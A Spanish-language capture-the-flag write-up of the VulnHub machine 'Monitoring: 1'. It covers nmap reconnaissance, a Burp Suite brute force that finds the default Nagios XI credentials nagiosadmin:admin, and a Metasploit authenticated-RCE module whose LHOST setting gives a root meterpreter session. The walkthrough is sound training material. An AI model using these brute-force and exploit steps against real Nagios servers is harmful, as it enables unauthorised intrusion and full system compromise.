Entrada

Writeup Monitoring 1

Writeup Monitoring 1

En este post te llevo paso a paso por la máquina Monitoring: 1, un desafío de nivel fácil disponible en VulnHub.

Diseñada para quienes desean mejorar en el pentesting

Resolucion de la maquina

Fase de Fingerprinting / Reconocimiento (Reconnaissance):

Descubrimiento de IP objetivo en la red

Lanzo sudo netdiscover -i eth0 -r 192.168.88.0/24 para descubrir los hosts en la red

alt text

Una vez obtenida la IP de la maquina objetivo la guardo en la variable IP.

1
export IP=192.168.88.11

Lanzo un escaneo con nmap para ver los puertos que tiene disponible.

1
nmap -p- $IP 

alt text

1
2
3
4
5
6
7
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
389/tcp  open  ldap
443/tcp  open  https
5667/tcp open  unknown

Voy a redirigir esta salida a awk y grep para obtener una lista separada por comas para poder exportarla a la variable PORTS y despues usarla en el scaneo detallado.

1
2
3
nmap -p- $IP | awk '{print $1}' | grep -E '^[0-9]+' | cut -d'/' -f1 | paste -sd, - > puertos.txt
cat puertos.txt   
export PORTS=22,25,80,389,443,5667

alt text

Ahora usando la variable PORTS realizo un escaneo en mas profundidad.

1
sudo nmap -p$PORTS -sS -sV -sC $IP -O -oA scan_nmap_$IP

alt text

Descubrimiento de puertos y servicios en el host objetivo

Resultado de la exploracion de los servicios en los puertos detectados:

Puerto 22 - SSH
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b8:8c:40:f6:5f:2a:8b:f7:92:a8:81:4b:bb:59:6d:02 (RSA)
|   256 e7:bb:11:c1:2e:cd:39:91:68:4e:aa:01:f6:de:e6:19 (ECDSA)
|_  256 0f:8e:28:a7:b7:1d:60:bf:a6:2b:dd:a3:6d:d1:4e:a4 (ED25519)
Puerto 25 - SMTP
PORT     STATE SERVICE    VERSION
25/tcp   open  smtp       Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-09-08T17:59:00
|_Not valid after:  2030-09-06T17:59:00
|_ssl-date: TLS randomness does not represent time
Puerto 80 - HTTP
PORT     STATE SERVICE    VERSION
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Nagios XI
|_http-server-header: Apache/2.4.18 (Ubuntu)
Puerto 389 - LDAP
PORT     STATE SERVICE    VERSION
389/tcp  open  ldap       OpenLDAP 2.2.X - 2.3.X
Puerto 443 - HTTPS
PORT     STATE SERVICE    VERSION
443/tcp  open  ssl/http   Apache httpd 2.4.18 ((Ubuntu))
| ssl-cert: Subject: commonName=192.168.1.6/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US
| Not valid before: 2020-09-08T18:28:08
|_Not valid after:  2030-09-06T18:28:08
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.18 (Ubuntu)
| tls-alpn: 
|_  http/1.1
|_http-title: Nagios XI
Puerto 5667
PORT     STATE SERVICE    VERSION
5667/tcp open  tcpwrapped

Informacion general de la maquina
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9

Fase de Footprinting / Exploración (Scanning):

Exploracion puerto 80

Realizo una exploracion visual de la web que sirve el puerto 80 que me lleva a una pagina de bienvenida que me da el acceso a Nagios XI

alt text

Accedo y llego a una pagina donde hay un formulario de acceso y algo de informacion nada relevante.

alt text

Como no conozco este servicio Nagios en nada, consulto en Google si tiene usuario predeterminado. Obtengo de esta forma que el usuario predeterminado es nagiosadmin y que la clave se define en el primer acceso al sitio.

alt text

Si el administrador de la maquina no ha tenido cuidado con este detalle deshabilitando el usuario por defecto es probable que pueda atacarlo con un ataque de fuerza bruta y quizas obtener acceso.

Para este ataque uso Burp-Suite, defino un ataque de tipo cluster bomb para usar el payload 1 como username y el payload 2 como password.

alt text

En el payload 1 defino como usuario nagiosadmin

alt text

En el payload 2 cargo un diccionario basico de claves unix_password.txt

alt text

A continuacion lanzo el ataque y veo que en la primera de las claves probadas el valor de length es diferente por mucho a los demas. Lo que me indica que es una clave valida.

alt text

Compruebo las credenciales [nagiosadmin:admin] y obtengo acceso al sistema Nagios.

alt text

Una vez dentro veo que el sistema me da informacion sobre su version

alt text

Explotación

Para explotar el sistema usare metasploit.

Busco en metasploit vulnerabilidades conocidas para nagios xi mediante el comando:

1
search nagios xi

alt text

Selecciono el modulo nagios_xi_authenticated_rce y defino los valores necesarios despues de consultarlos en options.

1
2
3
4
5
use exploit/linux/http/nagios_xi_authenticated_rce
options
set password admin
set LHOST 192.168.88.3
exploit

Esto nos da una sesion de meterpreter.

alt text

Si consulto que usuario tengo en la sesion de meterpreter, me devuelve que tengo el usuario root.

alt text

Con este usuario puedo acceder a la carpeta /root/ y leer el fichero proof.txt para obtener la flag de solucion de la maquina.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.